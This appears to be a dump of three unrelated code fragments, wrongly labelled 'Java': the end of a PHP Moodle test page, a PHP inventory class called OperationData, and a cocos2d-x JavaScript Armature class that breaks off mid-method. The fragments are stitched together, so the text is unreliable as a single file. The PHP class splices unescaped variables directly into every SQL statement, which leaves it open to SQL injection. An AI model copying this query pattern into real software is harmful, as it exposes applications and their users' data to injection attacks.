$currentsettings = $courseformat->get_settings();
$o .= html_writer::start_tag('div');
$o .= html_writer::tag('p', 'Current settings: ' . print_r($currentsettings, true));
$ratios = format_grid::get_image_container_ratios();
$resizemethods = array(
1 => new lang_string('scale', 'format_grid'), // Scale.
2 => new lang_string('crop', 'format_grid') // Crop.
);
$o .= html_writer::tag('p', 'Width: ' . $currentsettings['imagecontainerwidth']);
$o .= html_writer::tag('p', 'Ratio: ' . $ratios[$currentsettings['imagecontainerratio']]);
$o .= html_writer::tag('p', 'Resize method: ' . $resizemethods[$currentsettings['imageresizemethod']]);
$o .= html_writer::end_tag('div');
echo $o;
require_once('test_footer.php');
// Remove original...
$original->delete();
unset($original);
| Java |
<?php
class OperationData {
public static $tablename = "operation";
public function OperationData(){
$this->name = "";
$this->product_id = "";
$this->q = "";
$this->cut_id = "";
$this->operation_type_id = "";
$this->is_oficial = "0";
$this->created_at = "NOW()";
}
public function add(){
$sql = "insert into ".self::$tablename." (product_id,q,operation_type_id,is_oficial,sell_id,created_at) ";
$sql .= "value (\"$this->product_id\",\"$this->q\",$this->operation_type_id,\"$this->is_oficial\",$this->sell_id,$this->created_at)";
return Executor::doit($sql);
}
public function add_q(){
$sql = "update ".self::$tablename." set q=$this->q where id=$this->id";
Executor::doit($sql);
}
public static function delById($id){
$sql = "delete from ".self::$tablename." where id=$id";
Executor::doit($sql);
}
public function del(){
$sql = "delete from ".self::$tablename." where id=$this->id";
Executor::doit($sql);
}
// partiendo de que ya tenemos creado un objecto OperationData previamente utilizamos el contexto
public function update(){
$sql = "update ".self::$tablename." set product_id=\"$this->product_id\",q=\"$this->q\",is_oficial=\"$this->is_oficial\" where id=$this->id";
Executor::doit($sql);
}
public static function getById($id){
$sql = "select * from ".self::$tablename." where id=$id";
$query = Executor::doit($sql);
$found = null;
$data = new OperationData();
while($r = $query[0]->fetch_array()){
$data->id = $r['id'];
$data->product_id = $r['product_id'];
$data->q = $r['q'];
$data->is_oficial = $r['is_oficial'];
$data->operation_type_id = $r['operation_type_id'];
$data->sell_id = $r['sell_id'];
$data->created_at = $r['created_at'];
$found = $data;
break;
}
return $found;
}
public static function getAll(){
$sql = "select * from ".self::$tablename." order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getAllDates(){
$sql = "select *,date(created_at) as d from ".self::$tablename." group by date(created_at) order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$array[$cnt]->d = $r['d'];
$cnt++;
}
return $array;
}
public static function getAllByDate($start){
$sql = "select *,price_out as price,product.name as name,category.name as cname from ".self::$tablename." inner join product on (operation.product_id=product.id) inner join category on (product.category_id=category.id) inner join sell on (sell.id=operation.sell_id) where date(operation.created_at) = \"$start\" and is_applied=1 order by operation.created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->price = $r['price'];
$array[$cnt]->name = $r['name'];
$array[$cnt]->cname = $r['cname'];
$array[$cnt]->unit = $r['unit'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getAllByDateAndCategoryId($start,$cat_id){
$sql = "select *,price_out as price,product.name as name,category.name as cname,product.unit as punit from ".self::$tablename." inner join sell on (sell.id=operation.sell_id) inner join product on (operation.product_id=product.id) inner join category on (product.category_id=category.id) where date(operation.created_at) = \"$start\" and product.category_id=$cat_id and sell.is_applied=1 order by operation.created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->price = $r['price'];
$array[$cnt]->name = $r['name'];
$array[$cnt]->cname = $r['cname'];
$array[$cnt]->unit = $r['punit'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getAllByDateOfficial($start,$end){
$sql = "select * from ".self::$tablename." where date(created_at) > \"$start\" and date(created_at) <= \"$end\" order by created_at desc";
if($start == $end){
$sql = "select * from ".self::$tablename." where date(created_at) = \"$start\" order by created_at desc";
}
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getAllByDateOfficialBP($product, $start,$end){
$sql = "select * from ".self::$tablename." where date(created_at) > \"$start\" and date(created_at) <= \"$end\" and product_id=$product order by created_at desc";
if($start == $end){
$sql = "select * from ".self::$tablename." where date(created_at) = \"$start\" and product_id=$product order by created_at desc";
}
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public function getProduct(){
return ProductData::getById($this->product_id);
}
public function getOperationType(){
return OperationTypeData::getById($this->operation_type_id);
}
////////////////////////////////////////////////////////////////////
public static function getQ($product_id,$cut_id){
$q=0;
$operations = self::getAllByProductIdCutId($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
// print_r($data);
return $q;
}
public static function getQYesF($product_id,$cut_id){
$q=0;
$operations = self::getAllByProductIdCutId($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->is_oficial){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
}
// print_r($data);
return $q;
}
public static function getQNoF($product_id,$cut_id){
$q = self::getQ($product_id,$cut_id);
$f = self::getQYesF($product_id,$cut_id);
return $q-$f;
}
public static function getAllByProductIdCutId($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getAllByProductIdCutIdOficial($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getAllByProductIdCutIdUnOficial($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and is_oficial=0 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getAllProductsBySellId($sell_id){
$sql = "select * from ".self::$tablename." where sell_id=$sell_id order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getAllByProductIdCutIdYesF($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getAllByProductIdCutIdNoF($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and is_oficial=0 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
public static function getOutputQ($product_id,$cut_id){
$q=0;
$operations = self::getOutputByProductIdCutId($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
// print_r($data);
return $q;
}
public static function getOutputQYesF($product_id,$cut_id){
$q=0;
$operations = self::getOutputByProductIdCutIdYesF($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
// print_r($data);
return $q;
}
public static function getOutputQNoF($product_id,$cut_id){
$q=0;
$operations = self::getOutputByProductIdCutIdNoF($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
// print_r($data);
return $q;
}
public static function getOutputByProductIdCutId($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=2 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getOutputByProductIdCutIdYesF($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=2 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getOutputByProductIdCutIdNoF($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and is_oficial=0 and operation_type_id=2 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
public static function getInputQ($product_id,$cut_id){
$q=0;
$operations = self::getInputByProductIdCutId($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
// print_r($data);
return $q;
}
public static function getInputQYesF($product_id,$cut_id){
$q=0;
$operations = self::getInputByProductIdCutIdYesF($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
// print_r($data);
return $q;
}
public static function getInputQNoF($product_id,$cut_id){
$q=0;
$operations = self::getInputByProductIdCutIdNoF($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
// print_r($data);
return $q;
}
public static function getInputByProductIdCutId($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=1 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getInputByProductIdCutIdYesF($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=1 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getInputByProductIdCutIdNoF($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and is_oficial=0 and operation_type_id=1 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
////////////////////////////////////////////////////////////////////////////
}
?> | Java |
/****************************************************************************
Copyright (c) 2011-2012 cocos2d-x.org
Copyright (c) 2013-2014 Chukong Technologies Inc.
http://www.cocos2d-x.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
****************************************************************************/
/**
* The main class of Armature, it plays armature animation, manages and updates bones' state.
* @class
* @extends ccs.Node
*
* @property {ccs.Bone} parentBone - The parent bone of the armature node
* @property {ccs.ArmatureAnimation} animation - The animation
* @property {ccs.ArmatureData} armatureData - The armature data
* @property {String} name - The name of the armature
* @property {cc.SpriteBatchNode} batchNode - The batch node of the armature
* @property {Number} version - The version
* @property {Object} body - The body of the armature
* @property {ccs.ColliderFilter} colliderFilter - <@writeonly> The collider filter of the armature
*/
ccs.Armature = ccs.Node.extend(/** @lends ccs.Armature# */{
animation: null,
armatureData: null,
batchNode: null,
_parentBone: null,
_boneDic: null,
_topBoneList: null,
_armatureIndexDic: null,
_offsetPoint: null,
version: 0,
_armatureTransformDirty: true,
_body: null,
_blendFunc: null,
_className: "Armature",
/**
* Create a armature node.
* Constructor of ccs.Armature
* @param {String} name
* @param {ccs.Bone} parentBone
* @example
* var armature = new ccs.Armature();
*/
ctor: function (name, parentBone) {
cc.Node.prototype.ctor.call(this);
this._name = "";
this._topBoneList = [];
this._armatureIndexDic = {};
this._offsetPoint = cc.p(0, 0);
this._armatureTransformDirty = true;
this._blendFunc = {src: cc.BLEND_SRC, dst: cc.BLEND_DST};
name && ccs.Armature.prototype.init.call(this, name, parentBone);
// Hack way to avoid RendererWebGL from skipping Armature
this._texture = {};
},
/**
* Initializes a CCArmature with the specified name and CCBone
* @param {String} [name]
* @param {ccs.Bone} [parentBone]
* @return {Boolean}
*/
init: function (name, parentBone) {
if (parentBone)
this._parentBone = parentBone;
this.removeAllChildren();
this.animation = new ccs.ArmatureAnimation();
this.animation.init(this);
this._boneDic = {};
this._topBoneList.length = 0;
//this._name = name || "";
var armatureDataManager = ccs.armatureDataManager;
var animationData;
if (name !== "") {
//animationData
animationData = armatureDataManager.getAnimationData(name);
cc.assert(animationData, "AnimationData not exist!");
this.animation.setAnimationData(animationData);
//armatureData
var armatureData = armatureDataManager.getArmatureData(name);
cc.assert(armatureData, "ArmatureData not exist!");
this.armatureData = armatureData;
//boneDataDic
var boneDataDic = armatureData.getBoneDataDic();
for (var key in boneDataDic) {
var bone = this.createBone(String(key));
//! init bone's Tween to 1st movement's 1st frame
do {
var movData = animationData.getMovement(animationData.movementNames[0]);
if (!movData) break;
var _movBoneData = movData.getMovementBoneData(bone.getName());
if (!_movBoneData || _movBoneData.frameList.length <= 0) break;
var frameData = _movBoneData.getFrameData(0);
if (!frameData) break;
bone.getTweenData().copy(frameData);
bone.changeDisplayWithIndex(frameData.displayIndex, false);
} while (0);
}
this.update(0);
this.updateOffsetPoint();
} else {
name = "new_armature";
this.armatureData = new ccs.ArmatureData();
this.armatureData.name = name;
animationData = new ccs.AnimationData();
animationData.name = name;
armatureDataManager.addArmatureData(name, this.armatureData);
armatureDataManager.addAnimationData(name, animationData);
this.animation.setAnimationData(animationData);
}
this._renderCmd.initShaderCache();
this.setCascadeOpacityEnabled(true);
this.setCascadeColorEnabled(true);
return true;
},
visit: function (parent) {
var cmd = this._renderCmd, parentCmd = parent ? parent._renderCmd : null;
// quick return if not visible
if (!this._visible) {
cmd._propagateFlagsDown(parentCmd);
return;
}
cmd.visit(parentCmd);
cmd._dirtyFlag = 0;
},
addChild: function (child, localZOrder, tag) {
if (child instanceof ccui.Widget) {
cc.log("Armature doesn't support to add Widget as its child, it will be fix soon.");
return;
}
cc.Node.prototype.addChild.call(this, child, localZOrder, tag);
},
/**
* create a bone with name
* @param {String} boneName
* @return {ccs.Bone}
*/
createBone: function (boneName) {
var existedBone = this.getBone(boneName);
if (existedBone)
return existedBone;
var boneData = this.armatureData.getBoneData(boneName);
var parentName = boneData.parentName;
var bone = null;
if (parentName) {
this.createBone(parentName);
bone = new ccs.Bone(boneName);
this.addBone(bone, parentName);
} else {
bone = new ccs.Bone(boneName);
this.addBone(bone, "");
}
bone.setBoneData(boneData);
bone.getDisplayManager().changeDisplayWithIndex(-1, false);
return bone;
},
/**
* Add a Bone to this Armature
* @param {ccs.Bone} bone The Bone you want to add to Armature
* @param {String} parentName The parent Bone's name you want to add to. If it's null, then set Armature to its parent
*/
addBone: function (bone, parentName) {
cc.assert(bone, "Argument must be non-nil");
var locBoneDic = this._boneDic;
if (bone.getName())
cc.assert(!locBoneDic[bone.getName()], "bone already added. It can't be added again");
if (parentName) {
var boneParent = locBoneDic[parentName];
if (boneParent)
boneParent.addChildBone(bone);
else
this._topBoneList.push(bone);
} else
this._topBoneList.push(bone);
bone.setArmature(this);
locBoneDic[bone.getName()] = bone;
this.addChild(bone);
},
/**
* Remove a bone with the specified name. If recursion it will also remove child Bone recursively.
* @param {ccs.Bone} bone The bone you want to remove
* @param {Boolean} recursion Determine whether remove the bone's child recursion.
*/
removeBone: function (bone, recursion) {
cc.assert(bone, "bone must be added to the bone dictionary!");
bone.setArmature(null);
bone.removeFromParent(recursion);
cc.arrayRemoveObject(this._topBoneList, bone);
delete this._boneDic[bone.getName()];
this.removeChild(bone, true);
},
/**
* Gets a bone with the specified name
* @param {String} name The bone's name you want to get
* @return {ccs.Bone}
*/
getBone: function (name) {
return this._boneDic[name];
},
/**
* Change a bone's parent with the specified parent name.
* @param {ccs.Bone} bone The bone you want to change parent
* @param {String} parentName The new parent's name
*/
changeBoneParent: function (bone, parentName) {
cc.assert(bone, "bone must be added to the bone dictionary!");
var parentBone = bone.getParentBone();
if (parentBone) {
cc.arrayRemoveObject(parentBone.getChildren(), bone);
bone.setParentBone(null);
}
if (parentName) {
var boneParent = this._boneDic[parentName];
if (boneParent) {
boneParent.addChildBone(bone);
cc.arrayRemoveObject(this._topBoneList, bone);
} else
this._topBoneList.push(bone);
}
},
/**
* Get CCArmature's bone dictionary
* @return {Object} Armature's bone dictionary
*/
getBoneDic: function () {
return this._boneDic;
},
/**
* Set contentSize and Calculate anchor point.
*/
updateOffsetPoint: function () {
// Set contentsize and Calculate anchor point.
var rect = this.getBoundingBox();
this.setContentSize(rect);
var locOffsetPoint = this._offsetPoint;
locOffsetPoint.x = -rect.x;
locOffsetPoint.y = -rect.y;
if (rect.width !== 0 && rect.height !== 0)
this.setAnchorPoint(locOffsetPoint.x / rect.width, locOffsetPoint.y / rect.height);
},
getOffsetPoints: function () {
return {x: this._offsetPoint.x, y: this._offsetPoint.y};
},
/**
* Sets animation to this Armature
* @param {ccs.ArmatureAnimation} animation
*/
setAnimation: function (animation) {
this.animation = animation;
},
/**
* Gets the animation of this Armature.
* @return {ccs.ArmatureAnimation}
*/
getAnimation: function () {
return this.animation;
},
/**
* armatureTransformDirty getter
* @returns {Boolean}
*/
getArmatureTransformDirty: function () {
return this._armatureTransformDirty;
},
/**
* The update callback of ccs.Armature, it updates animation's state and updates bone's state.
* @override
* @param {Number} dt
*/
update: function (dt) {
this.animation.update(dt);
var locTopBoneList = this._topBoneList;
for (var i = 0; i < locTopBoneList.length; i++)
locTopBoneList[i].update(dt);
this._armatureTransformDirty = false;
},
/**
* The callback when ccs.Armature enter stage.
* @override
*/
onEnter: function () {
cc.Node.prototype.onEnter.call(this);
this.scheduleUpdate();
},
/**
* The callback when ccs.Armature exit stage.
* @override
*/
onExit: function () {
cc.Node.prototype.onExit.call(this);
this.unscheduleUpdate();
},
/**
* This boundingBox will calculate all bones' boundingBox every time
* @returns {cc.Rect}
*/
getBoundingBox: function () {
var minX, minY, maxX, maxY = 0;
var first = true;
var boundingBox = cc.rect(0, 0, 0, 0), locChildren = this._children;
var len = locChildren.length;
for (var i = 0; i < len; i++) {
var bone = locChildren[i];
if (bone) {
var r = bone.getDisplayManager().getBoundingBox();
if (r.x === 0 && r.y === 0 && r.width === 0 && r.height === 0)
continue;
if (first) {
minX = r.x;
minY = r.y;
maxX = r.x + r.width;
maxY = r.y + r.height;
first = false;
} else {
minX = r.x < boundingBox.x ? r.x : boundingBox.x;
minY = r.y < boundingBox.y ? r.y : boundingBox.y;
maxX = r.x + r.width > boundingBox.x + boundingBox.width ?
r.x + r.width : boundingBox.x + boundingBox.width;
maxY = r.y + r.height > boundingBox.y + boundingBox.height ?
r.y + r.height : boundingBox.y + boundingBox.height;
}
boundingBox.x = minX;
boundingBox.y = minY;
boundingBox.width = maxX - minX;
boundingBox.height = maxY - minY;
}
}
return cc.rectApplyAffineTransform(boundingBox, this.getNodeToParentTransform());
},
/**
* when bone contain the point ,then return it.
* @param {Number} x
* @param {Number} y
* @returns {ccs.Bone}
*/
getBoneAtPoint: function (x, y) {
var locChildren = this._children;
for (var i = locChildren.length - 1; i >= 0; i--) {
var child = locChildren[i];
if (child instanceof ccs.Bone && child.getDisplayManager().containPoint(x, y))
return child;
}
return null;
},
/**
* Sets parent bone of this Armature
* @param {ccs.Bone} parentBone
*/
setParentBone: function (parentBone) {
this._parentBone = parentBone;
var locBoneDic = this._boneDic;
for (var key in locBoneDic) {
locBoneDic[key].setArmature(this);
}
},
/**
* Return parent bone of ccs.Armature.
* @returns {ccs.Bone}
*/
getParentBone: function () {
return this._parentBone;
},
/**
* draw contour
*/
drawContour: function () {
cc._drawingUtil.setDrawColor(255, 255, 255, 255);
cc._drawingUtil.setLineWidth(1);
var locBoneDic = this._boneDic;
for (var key in locBoneDic) {
var bone = locBoneDic[key];
var detector = bone.getColliderDetector();
if (!detector)
continue;
var bodyList = detector.getColliderBodyList();
for (var i = 0; i < bodyList.length; i++) {
var body = bodyList[i];
var vertexList = body.getCalculatedVertexList();
cc._drawingUtil.drawPoly(vertexList, vertexList.length, true);
}
}
},
setBody: function (body) {
if (this._body === body)
return;
this._body = body;
this._body.data = this;
var child, displayObject, locChildren = this._children;
for (var i = 0; i < locChildren.length; i++) {
child = locChildren[i];
if (child instanceof ccs.Bone) {
var displayList = child.getDisplayManager().getDecorativeDisplayList();
for (var j = 0; j < displayList.length; j++) {
displayObject = displayList[j];
var detector = displayObject.getColliderDetector();
if (detector)
detector.setBody(this._body);
}
}
}
},
getShapeList: function () {
if (this._body)
return this._body.shapeList;
return null;
},
getBody: function () {
return this._body;
},
/**
* Sets the blendFunc to ccs.Armature
* @param {cc.BlendFunc|Number} blendFunc
* @param {Number} [dst]
*/
setBlendFunc: function (blendFunc, dst) {
if (dst === undefined) {
this._blendFunc.src = blendFunc.src;
this._blendFunc.dst = blendFunc.dst;
} else {
this._blendFunc.src = blendFunc;
this._blendFunc.dst = dst;
}
},
/**
* Returns the blendFunc of ccs.Armature
* @returns {cc.BlendFunc}
*/
getBlendFunc: function () {
return new cc.BlendFunc(this._blendFunc.src, this._blendFunc.dst);
},
/**
* set collider filter
* @param {ccs.ColliderFilter} filter
*/
setColliderFilter: function (filter) {
var locBoneDic = this._boneDic;
for (var key in locBoneDic)
locBoneDic[key].setColliderFilter(filter);
},
/**
* Returns the armatureData of ccs.Armature
* @return {ccs.ArmatureData}
*/
getArmatureData: function () {
return this.armatureData;
},
/**
* Sets armatureData to this Armature
* @param {ccs.ArmatureData} armatureData
*/
setArmatureData: function (armatureData) {
this.armatureData = armatureData;
},
getBatchNode: function () {
return this.batchNode;
},
setBatchNode: function (batchNode) {
this.batchNode = batchNode;
